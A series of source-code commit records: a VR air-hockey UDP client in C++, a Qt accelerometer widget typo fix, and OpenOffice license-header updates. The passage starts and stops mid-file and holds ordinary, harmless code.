if read was OK\n {\n if(size == 0) \/\/ if no data received\n return;\n \/\/ if the server sent back the proper ID then we are connected\n if (strcmp(connectResponse.response, netNS::SERVER_ID) == 0) \n {\n if (connectResponse.number < MAX_CLIENT) \/\/ if valid player number\n {\n playerN = connectResponse.number; \/\/ set my player number\n ss << \"Connected as player number: \" << playerN;\n AnnDebug() << ss.str();\n clientConnected = true;\n commErrors = 0;\n commWarnings = 0;\n } \n else\n AnnDebug() << \"Invalid player number received from server.\";\n } \n else if (strcmp(connectResponse.response, netNS::SERVER_FULL) == 0) \n AnnDebug() << \"Server Full\";\n else\n {\n AnnDebug() << \"Invalid ID from server. Server sent:\";\n AnnDebug() << connectResponse.response;\n }\n }\n else \/\/ read error\n {\n AnnDebug() << net.getError(error);\n }\n tryToConnect = false;\n step = 0;\n }\t\n}\n\n\/\/=============================================================================\n\/\/ Check for network timeout\n\/\/=============================================================================\nvoid NetworkClient::checkNetworkTimeout()\n{\n if (!clientConnected)\n return;\n commErrors++; \/\/ increment timeout count\n if (commErrors > netNS::MAX_ERRORS) \/\/ if communication timeout\n {\n clientConnected = false;\n AnnDebug() << \"***** Disconnected from server. *****\";\n }\n}\n\n\n\/\/=============================================================================\n\/\/ Send the keypress codes to the server\n\/\/=============================================================================\nvoid NetworkClient::sendInfoToServer()\n{\n int size;\n \/\/ prepare structure to be sent\n \/\/toServerData.buttons = buttonState;\n toServerData.playerN = playerN;\n\t\/\/toServerData.ClientPaddlePos = AnnVect3(10,20,30);\n \/\/ send data from client to server\n\n\ttoServerData.ClientPaddlePos = localPosiion;\n size = sizeof(toServerData);\n error = net.sendData((char*) &toServerData, size, remoteIP, remotePort);\n}\n\n\n\/\/=============================================================================\n\/\/ Get toClientData from server.\n\/\/ called by client to get game state from server\n\/\/=============================================================================\nvoid NetworkClient::getInfoFromServer()\n{\n int size;\n size = sizeof(toClientData);\n int readStatus = net.readData((char *)&toClientData, size, remoteIP, remotePort);\n if( readStatus == netNS::NET_OK && size > 0) \n {\n\n\t\tdistantPosition = toClientData.postition;\n\t\treferencePuckPosiion = toClientData.PuckPos;\n\n\t\tfor(int i=0; i<MAX_CLIENT; i++) \/\/ for all player positions\n {\n \/\/ load new data into each player\n \/\/ player[i].setNetData(toClientData.player[i].playerData);\n \n }\n\n \/\/ Game state\n \/\/ Bit 0 = roundStart\n \/\/ Bits 1-7 reserved for future use\n if((toClientData.gameState & ROUND_START_BIT) &&\n countDownOn == false)\n roundStart();\n\n gameState = toClientData.gameState; \/\/ save new game state\n\n commErrors = 0;\n commWarnings = 0;\n }\n\n}\n\n\n\/\/=============================================================================\n\/\/ Start a new round of play\n\/\/=============================================================================\nvoid NetworkClient::roundStart()\n{\n \/\/ Start ships on opposite sides of planet in stable clockwise orbit\n \/\/player[0].setX();\n \/\/player[1].setX();\n \/\/player[0].setY();\n \/\/player[1].setY();\n\n countDownTimer = COUNT_DOWN;\n countDownOn = true;\n}\n\nAnnVect3 NetworkClient::getRefPuckPosition()\n{\n\treturn referencePuckPosiion;\n}\n\n<commit_msg>remove useless stuff in the client code<commit_after>#include \"stdafx.h\"\n#include \"NetworkClient.hpp\"\n\n\/\/fToServerStc NetworkClient::toServerData;\n\n\n\nNetworkClient::NetworkClient() : NetworkWorker()\n{\n\ttryToConnect = true;\n\tclientConnected = false;\n\n\tmyType = CLIENT;\n}\n\nint NetworkClient::initialize(int port)\n{\n\tlast = now = AnnEngine::Instance()->getTimeFromStartUp(); \n\treturn 0;\n}\nvoid NetworkClient::update(){\n\t\/\/AnnDebug() << \"client update\";\n\tnow = AnnEngine::Instance()->getTimeFromStartUp();\n\tfloat frameTime = now - last;\n\tlast = now;\n\tcommunicate(frameTime);\n}\n\n\/\/ --- Do network communications ---\nvoid NetworkClient::communicate(float frameTime)\n{\t\n\t\/\/AnnDebug() << \"Com\";\n\tif(clientConnected)\n\t\tgetInfoFromServer(); \/\/ Get game state from server\n\t\/\/ Calculate elapsed time for network communications\n\t\/*netTime += frameTime;\n\tif(netTime < netNS::NET_TIMER) \/\/ if not time to communicate*\/\n\t\t\/\/return;\n\tif(tryToConnect)\n\t\tconnectToServer(); \/\/ Attempt to connect to game server\n\telse if(clientConnected)\n\t{\n\t\t\/*AnnDebug() << \"Should transmit data here\";*\/\n\t\t\/\/checkNetworkTimeout(); \/\/ check for disconnect from server\n\t\tsendInfoToServer(); \/\/\n\t}\n\tnetTime -= netNS::NET_TIMER;\n\n}\n\nvoid NetworkClient::connectToServer() \n{\n\tAnnDebug() << \"Call connect to server...\" ;\n\tstatic int step = 0;\n static float waitTime; \/\/ seconds we have waited for a response from server\n int size;\n int newPort;\n std::string str;\n std::stringstream ss;\n\n if(clientConnected) \/\/ if connected\n {\n tryToConnect = false;\n AnnDebug() << \"Currently connected\";\n return;\n }\n\n AnnDebug() << \"----- Vr AirHockey Client -----\";\n \n\t\tswitch (step)\n\t\t{\n\t\tcase 0:\n \n\n\t\tnewPort = config.port;\n if(newPort == 0)\n newPort = netNS::DEFAULT_PORT;\n if(newPort > netNS::MIN_PORT && newPort < 65536)\n {\n port = newPort;\n }\n else\n AnnDebug() << \"Invalid port number\";\n\t\tstrcpy(remoteIP, config.serverAddress.c_str()); \n error = net.createClient(remoteIP, port, netNS::UDP);\n if(error != netNS::NET_OK) \/\/ if error\n {\n AnnDebug() << net.getError(error); \/\/ display error message\n tryToConnect = false;\n return;\n }\n \/\/ send request to join the server\n AnnDebug() << \"Attempting to connect with server.\"; \/\/ display message\n toServerData.playerN = 255; \/\/ playerN=255 is request to join\n size = sizeof(toServerData);\n AnnDebug() << \"'Request to join' sent to server.\";\n error = net.sendData((char*) &toServerData, size, remoteIP, port);\n AnnDebug() << net.getError(error);\n waitTime = 0;\n\n\t\tstep = 4;\n break;\n\n case 4:\n waitTime+=netTime; \/\/ add time since last call to connect\n \/\/ if we timed out with no reponse to our request to join\n if (waitTime > CONNECT_TIMEOUT) \n {\n AnnDebug() << \"'Request to join' timed out.\";\n \/\/tryToConnect = false;\n return;\n }\n \/\/ read ConnectResponse from server\n size = sizeof(connectResponse);\n error = net.readData((char*)&connectResponse, size, remoteIP, remotePort);\n if (error == netNS::NET_OK) \/\/ if read was OK\n {\n if(size == 0) \/\/ if no data received\n return;\n \/\/ if the server sent back the proper ID then we are connected\n if (strcmp(connectResponse.response, netNS::SERVER_ID) == 0) \n {\n if (connectResponse.number < MAX_CLIENT) \/\/ if valid player number\n {\n playerN = connectResponse.number; \/\/ set my player number\n ss << \"Connected as player number: \" << playerN;\n AnnDebug() << ss.str();\n clientConnected = true;\n commErrors = 0;\n commWarnings = 0;\n } \n else\n AnnDebug() << \"Invalid player number received from server.\";\n } \n else if (strcmp(connectResponse.response, netNS::SERVER_FULL) == 0) \n AnnDebug() << \"Server Full\";\n else\n {\n AnnDebug() << \"Invalid ID from server. Server sent:\";\n AnnDebug() << connectResponse.response;\n }\n }\n else \/\/ read error\n {\n AnnDebug() << net.getError(error);\n }\n tryToConnect = false;\n step = 0;\n }\t\n}\n\n\/\/=============================================================================\n\/\/ Check for network timeout\n\/\/=============================================================================\nvoid NetworkClient::checkNetworkTimeout()\n{\n if (!clientConnected)\n return;\n commErrors++; \/\/ increment timeout count\n if (commErrors > netNS::MAX_ERRORS) \/\/ if communication timeout\n {\n clientConnected = false;\n AnnDebug() << \"***** Disconnected from server. *****\";\n }\n}\n\n\n\/\/=============================================================================\n\/\/ Send the keypress codes to the server\n\/\/=============================================================================\nvoid NetworkClient::sendInfoToServer()\n{\n int size;\n \/\/ prepare structure to be sent\n \/\/toServerData.buttons = buttonState;\n toServerData.playerN = playerN;\n\t\/\/toServerData.ClientPaddlePos = AnnVect3(10,20,30);\n \/\/ send data from client to server\n\n\ttoServerData.ClientPaddlePos = localPosiion;\n size = sizeof(toServerData);\n error = net.sendData((char*) &toServerData, size, remoteIP, remotePort);\n}\n\n\n\/\/=============================================================================\n\/\/ Get toClientData from server.\n\/\/ called by client to get game state from server\n\/\/=============================================================================\nvoid NetworkClient::getInfoFromServer()\n{\n int size;\n size = sizeof(toClientData);\n int readStatus = net.readData((char *)&toClientData, size, remoteIP, remotePort);\n if( readStatus == netNS::NET_OK && size > 0) \n {\n\n\t\tdistantPosition = toClientData.postition;\n\t\treferencePuckPosiion = toClientData.PuckPos;\n\n\t\tfor(int i=0; i<MAX_CLIENT; i++) \/\/ for all player positions\n {\n \/\/ load new data into each player\n \/\/ player[i].setNetData(toClientData.player[i].playerData);\n \n }\n\n \/\/ Game state\n \/\/ Bit 0 = roundStart\n \/\/ Bits 1-7 reserved for future use\n if((toClientData.gameState & ROUND_START_BIT) &&\n countDownOn == false)\n roundStart();\n\n gameState = toClientData.gameState; \/\/ save new game state\n\n commErrors = 0;\n commWarnings = 0;\n }\n\n}\n\n\n\/\/=============================================================================\n\/\/ Start a new round of play\n\/\/=============================================================================\nvoid NetworkClient::roundStart()\n{\n \/\/ Start ships on opposite sides of planet in stable clockwise orbit\n \/\/player[0].setX();\n \/\/player[1].setX();\n \/\/player[0].setY();\n \/\/player[1].setY();\n\n countDownTimer = COUNT_DOWN;\n countDownOn = true;\n}\n\nAnnVect3 NetworkClient::getRefPuckPosition()\n{\n\treturn referencePuckPosiion;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"accelometerwidget.h\"\n\nAccelometerWidget::AccelometerWidget(QQuickItem *parent) :\n QQuickPaintedItem(parent)\n{\n}\n\nvoid AccelometerWidget::paint(QPainter *painter)\n{\n const int boundX = boundingRect().x();\n const int boundY = boundingRect().y();\n const int boundHeight = boundingRect().height();\n const int boundWidth = boundingRect().width();\n const QPointF center = boundingRect().center();\n\n \/\/draw outer circle\n painter->setPen(QPen(p_edgeColor));\n painter->setBrush(QBrush(p_edgeColor));\n painter->setRenderHint(QPainter::Antialiasing);\n painter->drawEllipse(boundingRect());\n\n \/\/draw inner circle\n painter->setPen(QPen(p_color));\n painter->setBrush(QBrush(p_color));\n painter->setRenderHint(QPainter::Antialiasing);\n painter->drawEllipse(boundX + p_edgeWidth, boundY + p_edgeWidth, boundWidth - 2 * p_edgeWidth, boundHeight - 2 * p_edgeWidth);\n\n \/\/draw arrow\n \/\/set triangle path\n QPainterPath path;\n path.moveTo(p_arrowWidth \/ 2, 0);\n path.lineTo(0, boundHeight \/2 - p_edgeWidth * 0.75);\n path.lineTo(- p_arrowWidth \/ 2, 0);\n path.lineTo( - p_arrowWidth \/ 2, 0);\n\n \/\/set painter\n painter->setPen(QPen(p_arrowColor));\n painter->setBrush(QBrush(p_arrowColor));\n painter->translate(center.x(), center.y());\n painter->rotate(p_angle + 180);\n painter->setRenderHint(QPainter::Antialiasing);\n painter->drawPath(path);\n\n \/\/draw text\n painter->resetTransform();\n\n QFont font = painter->font();\n font.setPixelSize(boundHeight \/ 3);\n \/\/font.setFamily(\"Roboto\");\n font.setBold(true);\n painter->setFont(QFont(\"Arial Narrow\", boundHeight \/ 3.5, QFont::Black));\n\n painter->setPen(QPen(QColor(\"white\")));\n painter->setBrush(QBrush(QColor(\"white\")));\n painter->drawText(boundingRect(), Qt::AlignCenter, QString::number(p_angle).append(\"°\"));\n}\n\n\/*-------------------------------------*\/\n\/*---------------SETTERS---------------*\/\n\/*-------------------------------------*\/\n\nvoid AccelometerWidget::setAngle(qreal &value)\n{\n if(p_angle != value)\n {\n p_angle = value;\n emit angleChanged();\n }\n}\n\nvoid AccelometerWidget::setColor(QColor &value)\n{\n if(p_color != value)\n {\n p_color = value;\n emit colorChanged();\n }\n}\n\nvoid AccelometerWidget::setEdgeColor(QColor &value)\n{\n if(p_edgeColor != value)\n {\n p_edgeColor = value;\n emit edgeColorChanged();\n }\n}\n\nvoid AccelometerWidget::setArrowColor(QColor &value)\n{\n if(p_arrowColor != value)\n {\n p_arrowColor = value;\n emit arrowColorChanged();\n }\n}\n\nvoid AccelometerWidget::setEdgeWidth(int &value)\n{\n if(p_edgeWidth != value)\n {\n p_edgeWidth = value;\n emit edgeWidthChanged();\n }\n}\n\nvoid AccelometerWidget::setArrowWidth(int &value)\n{\n if(p_arrowWidth != value)\n {\n p_arrowWidth = value;\n emit arrowWidthChanged();\n }\n}\n\n\/*-------------------------------------*\/\n\/*---------------GETTERS---------------*\/\n\/*-------------------------------------*\/\n\nqreal AccelometerWidget::angle() const\n{\n return p_angle;\n}\n\nQColor AccelometerWidget::color() const\n{\n return p_color;\n}\n\nQColor AccelometerWidget::edgeColor() const\n{\n return p_edgeColor;\n}\n\nQColor AccelometerWidget::arrowColor() const\n{\n return p_arrowColor;\n}\n\nint AccelometerWidget::edgeWidth() const\n{\n return p_edgeWidth;\n}\n\nint AccelometerWidget::arrowWidth() const\n{\n return p_arrowWidth;\n}\n<commit_msg>Typos C++: AccelometerWidget<commit_after>#include \"accelometerwidget.h\"\n\nAccelometerWidget::AccelometerWidget(QQuickItem *parent) :\n QQuickPaintedItem(parent)\n{\n}\n\nvoid AccelometerWidget::paint(QPainter *painter)\n{\n const int boundX = boundingRect().x();\n const int boundY = boundingRect().y();\n const int boundHeight = boundingRect().height();\n const int boundWidth = boundingRect().width();\n const QPointF center = boundingRect().center();\n\n \/\/draw outer circle\n painter->setPen(QPen(p_edgeColor));\n painter->setBrush(QBrush(p_edgeColor));\n painter->setRenderHint(QPainter::Antialiasing);\n painter->drawEllipse(boundingRect());\n\n \/\/draw inner circle\n painter->setPen(QPen(p_color));\n painter->setBrush(QBrush(p_color));\n painter->setRenderHint(QPainter::Antialiasing);\n painter->drawEllipse(boundX + p_edgeWidth, boundY + p_edgeWidth, boundWidth - 2 * p_edgeWidth, boundHeight - 2 * p_edgeWidth);\n\n \/\/draw arrow\n \/\/set triangle path\n QPainterPath path;\n path.moveTo(p_arrowWidth \/ 2, 0);\n path.lineTo(0, boundHeight \/2 - p_edgeWidth * 0.75);\n path.lineTo(- p_arrowWidth \/ 2, 0);\n path.lineTo( - p_arrowWidth \/ 2, 0);\n\n \/\/set painter\n painter->setPen(QPen(p_arrowColor));\n painter->setBrush(QBrush(p_arrowColor));\n painter->translate(center.x(), center.y());\n painter->rotate(p_angle + 180);\n painter->setRenderHint(QPainter::Antialiasing);\n painter->drawPath(path);\n\n \/\/draw text\n painter->resetTransform();\n painter->setFont(QFont(\"Arial Narrow\", boundHeight \/ 3.5, QFont::Black));\n painter->setPen(QPen(QColor(\"white\")));\n painter->setBrush(QBrush(QColor(\"white\")));\n painter->drawText(boundingRect(), Qt::AlignCenter, QString::number(p_angle).append(\"°\"));\n}\n\n\/*-------------------------------------*\/\n\/*---------------SETTERS---------------*\/\n\/*-------------------------------------*\/\n\nvoid AccelometerWidget::setAngle(qreal &value)\n{\n if(p_angle != value)\n {\n p_angle = value;\n emit angleChanged();\n }\n}\n\nvoid AccelometerWidget::setColor(QColor &value)\n{\n if(p_color != value)\n {\n p_color = value;\n emit colorChanged();\n }\n}\n\nvoid AccelometerWidget::setEdgeColor(QColor &value)\n{\n if(p_edgeColor != value)\n {\n p_edgeColor = value;\n emit edgeColorChanged();\n }\n}\n\nvoid AccelometerWidget::setArrowColor(QColor &value)\n{\n if(p_arrowColor != value)\n {\n p_arrowColor = value;\n emit arrowColorChanged();\n }\n}\n\nvoid AccelometerWidget::setEdgeWidth(int &value)\n{\n if(p_edgeWidth != value)\n {\n p_edgeWidth = value;\n emit edgeWidthChanged();\n }\n}\n\nvoid AccelometerWidget::setArrowWidth(int &value)\n{\n if(p_arrowWidth != value)\n {\n p_arrowWidth = value;\n emit arrowWidthChanged();\n }\n}\n\n\/*-------------------------------------*\/\n\/*---------------GETTERS---------------*\/\n\/*-------------------------------------*\/\n\nqreal AccelometerWidget::angle() const\n{\n return p_angle;\n}\n\nQColor AccelometerWidget::color() const\n{\n return p_color;\n}\n\nQColor AccelometerWidget::edgeColor() const\n{\n return p_edgeColor;\n}\n\nQColor AccelometerWidget::arrowColor() const\n{\n return p_arrowColor;\n}\n\nint AccelometerWidget::edgeWidth() const\n{\n return p_edgeWidth;\n}\n\nint AccelometerWidget::arrowWidth() const\n{\n return p_arrowWidth;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: convuno.cxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: kz $ $Date: 2006-07-21 14:30:28 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n\n\n#include <tools\/debug.hxx>\n#include <i18npool\/mslangid.hxx>\n\n#include \"convuno.hxx\"\n#include \"global.hxx\"\n\nusing namespace com::sun::star;\n\n\/\/------------------------------------------------------------------------\n\n\/\/ everything is static...\n\nLanguageType ScUnoConversion::GetLanguage( const lang::Locale& rLocale )\n{\n \/\/ empty language -> LANGUAGE_SYSTEM\n if ( rLocale.Language.getLength() == 0 )\n return LANGUAGE_SYSTEM;\n\n LanguageType eRet = MsLangId::convertLocaleToLanguage( rLocale );\n if ( eRet == LANGUAGE_NONE )\n eRet = LANGUAGE_SYSTEM; \/\/! or throw an exception?\n\n return eRet;\n}\n\nvoid ScUnoConversion::FillLocale( lang::Locale& rLocale, LanguageType eLang )\n{\n MsLangId::convertLanguageToLocale( eLang, rLocale );\n}\n\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.6.492); FILE MERGED 2008\/03\/31 17:19:33 rt 1.6.492.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: convuno.cxx,v $\n * $Revision: 1.7 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sc.hxx\"\n\n\n\n#include <tools\/debug.hxx>\n#include <i18npool\/mslangid.hxx>\n\n#include \"convuno.hxx\"\n#include \"global.hxx\"\n\nusing namespace com::sun::star;\n\n\/\/------------------------------------------------------------------------\n\n\/\/ everything is static...\n\nLanguageType ScUnoConversion::GetLanguage( const lang::Locale& rLocale )\n{\n \/\/ empty language -> LANGUAGE_SYSTEM\n if ( rLocale.Language.getLength() == 0 )\n return LANGUAGE_SYSTEM;\n\n LanguageType eRet = MsLangId::convertLocaleToLanguage( rLocale );\n if ( eRet == LANGUAGE_NONE )\n eRet = LANGUAGE_SYSTEM; \/\/! or throw an exception?\n\n return eRet;\n}\n\nvoid ScUnoConversion::FillLocale( lang::Locale& rLocale, LanguageType eLang )\n{\n MsLangId::convertLanguageToLocale( eLang, rLocale );\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: test_activedatasink.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: obo $ $Date: 2006-09-17 13:53:29 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_ucb.hxx\"\n\n\/**************************************************************************\n TODO\n **************************************************************************\n\n *************************************************************************\/\n\n#ifndef _TEST_ACTIVEDATASINK_HXX_\n#include \"test_activedatasink.hxx\"\n#endif\n\n\nusing namespace test_ftp;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::io;\n\n\nAny SAL_CALL Test_ActiveDataSink::queryInterface( const Type& rType ) throw( RuntimeException ) {\n Any aRet = ::cppu::queryInterface(rType,\n SAL_STATIC_CAST( XActiveDataSink*,this ));\n\n return aRet.hasValue() ? aRet : OWeakObject::queryInterface( rType );\n}\n\n\n\nvoid SAL_CALL Test_ActiveDataSink::acquire( void ) throw() {\n OWeakObject::acquire();\n}\n\n\n\nvoid SAL_CALL Test_ActiveDataSink::release( void ) throw() {\n OWeakObject::release();\n}\n<commit_msg>INTEGRATION: CWS changefileheader (1.4.118); FILE MERGED 2008\/03\/31 15:30:21 rt 1.4.118.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: test_activedatasink.cxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_ucb.hxx\"\n\n\/**************************************************************************\n TODO\n **************************************************************************\n\n *************************************************************************\/\n\n#ifndef _TEST_ACTIVEDATASINK_HXX_\n#include \"test_activedatasink.hxx\"\n#endif\n\n\nusing namespace test_ftp;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::io;\n\n\nAny SAL_CALL Test_ActiveDataSink::queryInterface( const Type& rType ) throw( RuntimeException ) {\n Any aRet = ::cppu::queryInterface(rType,\n SAL_STATIC_CAST( XActiveDataSink*,this ));\n\n return aRet.hasValue() ? aRet : OWeakObject::queryInterface( rType );\n}\n\n\n\nvoid SAL_CALL Test_ActiveDataSink::acquire( void ) throw() {\n OWeakObject::acquire();\n}\n\n\n\nvoid SAL_CALL Test_ActiveDataSink::release( void ) throw() {\n OWeakObject::release();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: pkgdatasupplier.cxx,v $\n *\n * $Revision: 1.15 $\n *\n * last change: $Author: ihi $ $Date: 2007-06-05 18:13:27 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_ucb.hxx\"\n\n\/**************************************************************************\n TODO\n **************************************************************************\n\n *************************************************************************\/\n\n#include <vector>\n\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n\n#ifndef _COM_SUN_STAR_CONTAINER_XENUMERATION_HPP_\n#include <com\/sun\/star\/container\/XEnumeration.hpp>\n#endif\n#ifndef _COM_SUN_STAR_CONTAINER_XNAMED_HPP_\n#include <com\/sun\/star\/container\/XNamed.hpp>\n#endif\n#ifndef _UCBHELPER_CONTENTIDENTIFIER_HXX\n#include <ucbhelper\/contentidentifier.hxx>\n#endif\n#ifndef _UCBHELPER_PROVIDERHELPER_HXX\n#include <ucbhelper\/providerhelper.hxx>\n#endif\n\n#ifndef _PKGDATASUPPLIER_HXX\n#include \"pkgdatasupplier.hxx\"\n#endif\n#ifndef _PKGCONTENT_HXX\n#include \"pkgcontent.hxx\"\n#endif\n#ifndef _PKGPROVIDER_HXX\n#include \"pkgprovider.hxx\"\n#endif\n\n#include \"..\/inc\/urihelper.hxx\"\n\nusing namespace com::sun::star;\nusing namespace package_ucp;\n\nnamespace package_ucp\n{\n\n\/\/=========================================================================\n\/\/\n\/\/ struct ResultListEntry.\n\/\/\n\/\/=========================================================================\n\nstruct ResultListEntry\n{\n rtl::OUString aURL;\n uno::Reference< ucb::XContentIdentifier > xId;\n uno::Reference< ucb::XContent > xContent;\n uno::Reference< sdbc::XRow > xRow;\n\n ResultListEntry( const rtl::OUString& rURL ) : aURL( rURL ) {}\n};\n\n\/\/=========================================================================\n\/\/\n\/\/ ResultList.\n\/\/\n\/\/=========================================================================\n\ntypedef std::vector< ResultListEntry* > ResultList;\n\n\/\/=========================================================================\n\/\/\n\/\/ struct DataSupplier_Impl.\n\/\/\n\/\/=========================================================================\n\nstruct DataSupplier_Impl\n{\n osl::Mutex m_aMutex;\n ResultList m_aResults;\n rtl::Reference< Content > m_xContent;\n uno::Reference< lang::XMultiServiceFactory > m_xSMgr;\n uno::Reference< container::XEnumeration > m_xFolderEnum;\n sal_Int32 m_nOpenMode;\n sal_Bool m_bCountFinal;\n sal_Bool m_bThrowException;\n\n DataSupplier_Impl(\n const uno::Reference< lang::XMultiServiceFactory >& rxSMgr,\n const rtl::Reference< Content >& rContent,\n sal_Int32 nOpenMode )\n : m_xContent( rContent ), m_xSMgr( rxSMgr ),\n m_xFolderEnum( rContent->getIterator() ), m_nOpenMode( nOpenMode ),\n m_bCountFinal( !m_xFolderEnum.is() ), m_bThrowException( m_bCountFinal )\n {}\n ~DataSupplier_Impl();\n};\n\n\/\/=========================================================================\nDataSupplier_Impl::~DataSupplier_Impl()\n{\n ResultList::const_iterator it = m_aResults.begin();\n ResultList::const_iterator end = m_aResults.end();\n\n while ( it != end )\n {\n delete (*it);\n it++;\n }\n}\n\n}\n\n\/\/=========================================================================\n\/\/=========================================================================\n\/\/\n\/\/ DataSupplier Implementation.\n\/\/\n\/\/=========================================================================\n\/\/=========================================================================\n\nDataSupplier::DataSupplier(\n const uno::Reference< lang::XMultiServiceFactory >& rxSMgr,\n const rtl::Reference< Content >& rContent,\n sal_Int32 nOpenMode )\n: m_pImpl( new DataSupplier_Impl( rxSMgr, rContent, nOpenMode ) )\n{\n}\n\n\/\/=========================================================================\n\/\/ virtual\nDataSupplier::~DataSupplier()\n{\n delete m_pImpl;\n}\n\n\/\/=========================================================================\n\/\/ virtual\nrtl::OUString DataSupplier::queryContentIdentifierString( sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n rtl::OUString aId = m_pImpl->m_aResults[ nIndex ]->aURL;\n if ( aId.getLength() )\n {\n \/\/ Already cached.\n return aId;\n }\n }\n\n if ( getResult( nIndex ) )\n {\n \/\/ Note: getResult fills m_pImpl->m_aResults[ nIndex ]->aURL.\n return m_pImpl->m_aResults[ nIndex ]->aURL;\n }\n return rtl::OUString();\n}\n\n\/\/=========================================================================\n\/\/ virtual\nuno::Reference< ucb::XContentIdentifier >\nDataSupplier::queryContentIdentifier( sal_uInt32 nIndex )\n{\n osl::Guard< osl::Mutex > aGuard( m_pImpl->m_aMutex );\n\n if ( nIndex < m_pImpl->m_aResults.size() )\n {\n uno::Reference< ucb::XContentIdentifier > xId\n = m_pImpl->m_aResults[ nIndex ]->xId;\n if 